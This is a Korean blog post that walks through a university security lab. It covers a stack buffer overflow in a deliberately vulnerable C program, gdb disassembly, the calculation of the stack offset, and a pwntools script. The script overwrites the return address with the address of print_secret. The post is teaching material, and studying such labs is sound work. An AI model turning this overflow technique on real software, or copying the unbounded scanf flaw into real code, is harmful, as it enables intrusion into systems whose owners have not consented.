Lab2-2

옹다·2024년 11월 13일

해킹및정보보안

목록 보기
5/8
#include <stdio.h>

/* This function will print a secret string to you. Your goal is to execute this
 * function by exploiting buffer overflow vulnerability.
 */
void print_secret(void);

void echo(void) {
  char buf2[40];
  char buf1[40];

  puts("Input your first message:");
  fgets(buf1, sizeof(buf1), stdin);
  printf("%s", buf1);

  puts("Input your second message:");
  scanf("%s", buf2);
  puts(buf2);
}

int main(void) {
  echo();
  return 0;
}

echo2.c는 이렇게 구성되어 있다.

main함수를 disassemble하여 echo함수의 return address를 구해보자.

(gdb) disas main
Dump of assembler code for function main:
   0x000000000040128d <+0>:     sub    $0x8,%rsp
   0x0000000000401291 <+4>:     call   0x40122c <echo>
   0x0000000000401296 <+9>:     mov    $0x0,%eax
   0x000000000040129b <+14>:    add    $0x8,%rsp
   0x000000000040129f <+18>:    ret    
End of assembler dump.

echo함수의 return address는 0x401296인 것을 알 수 있다.

(gdb) disas print_secret 
Dump of assembler code for function print_secret:
   0x00000000004011a6 <+0>:     push   %rbx

print_secret함수의 시작 주소는 0x4011a6인 것을 알 수 있다.

그럼 이제 echo2.bin을 disassemble 해보자.

(gdb) disas echo 
Dump of assembler code for function echo:
   0x000000000040122c <+0>:     sub    $0x68,%rsp
   0x0000000000401230 <+4>:     mov    $0x40204e,%edi
   0x0000000000401235 <+9>:     call   0x401030 <puts@plt>
   0x000000000040123a <+14>:    mov    0x2e2f(%rip),%rdx        # 0x404070 <stdin@@GLIBC_2.2.5>
   0x0000000000401241 <+21>:    mov    $0x28,%esi
   0x0000000000401246 <+26>:    mov    %rsp,%rdi
   0x0000000000401249 <+29>:    call   0x401080 <fgets@plt>
   0x000000000040124e <+34>:    mov    %rsp,%rsi
   0x0000000000401251 <+37>:    mov    $0x402068,%edi
   0x0000000000401256 <+42>:    mov    $0x0,%eax
   0x000000000040125b <+47>:    call   0x401060 <printf@plt>
   0x0000000000401260 <+52>:    mov    $0x40206b,%edi
   0x0000000000401265 <+57>:    call   0x401030 <puts@plt>
   0x000000000040126a <+62>:    lea    0x30(%rsp),%rsi
   0x000000000040126f <+67>:    mov    $0x402068,%edi
   0x0000000000401274 <+72>:    mov    $0x0,%eax
   0x0000000000401279 <+77>:    call   0x4010a0 <__isoc99_scanf@plt>
   0x000000000040127e <+82>:    lea    0x30(%rsp),%rdi
   0x0000000000401283 <+87>:    call   0x401030 <puts@plt>
   0x0000000000401288 <+92>:    add    $0x68,%rsp
   0x000000000040128c <+96>:    ret  

%rsp를 0x68만큼 내려 스택에 공간을 할당했다.
0x68 = 16 * 6 + 8 = 104 -> 104 / 8 = 13칸
먼저 buf1를 %rsp에 저장하고
buf2는 %rsp+0x30에 저장했다. -> 6칸 위

buf2가 저장되는 공간부터 return address까지는 총 7칸이므로
buf2 입력에 A를 56번(0x38) 받고 그 다음에 print_secret 시작 주소를 받으면 되겠다.

이제 이걸 exploit 코드로 짜보면

#!/usr/bin/python3

from pwn import *


def exploit():
    # Write your exploit logic here.
    p = process("./echo2.bin")
    print(p.recvuntil(b"message:\n"))
    p.sendline(b"A")
   # print(p.recvline())
    
    print(p.recvuntil(b"message:\n"))
    p.sendline(b"A" * 0x38 + b"\xa6\x11\x40")
    print(p.recvline())
    print(p.recvline())

if __name__ == "__main__":
    exploit()
profile
많진 않아도 딱 내 것을 만드는 공정

0개의 댓글